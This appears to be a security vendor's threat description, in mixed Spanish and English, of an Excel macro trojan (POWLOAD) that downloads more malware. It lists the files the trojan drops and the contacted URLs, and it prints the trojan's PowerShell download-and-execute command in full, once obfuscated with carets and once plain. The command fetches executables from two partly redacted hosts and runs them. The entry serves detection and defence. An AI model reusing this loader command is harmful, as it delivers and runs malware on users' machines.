Trojan.X97M.POWLOAD.UIOIBEPK

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\~{18 Random Alphanumeric Characters}.TMP
• %Application Data%\{5 Random Numbers}.exe

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://{BLOCKED}ykyhrou.cz/ama.exe },{http://{BLOCKED}isseny.com/eco.exe })) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
• powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://{BLOCKED}ykyhrou.cz/ama.exe },{http://{BLOCKED}isseny.com/eco.exe })) { try { $fg = $random.next(0, 61132); $pp = '%Application Data%\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
• "%System%\ntvdm.exe" -i1

Otros detalles

It connects to the following possibly malicious URL:

• http://{BLOCKED}zykyhrou.cz/ama.exe
• http://{BLOCKED}isseny.com/eco.exe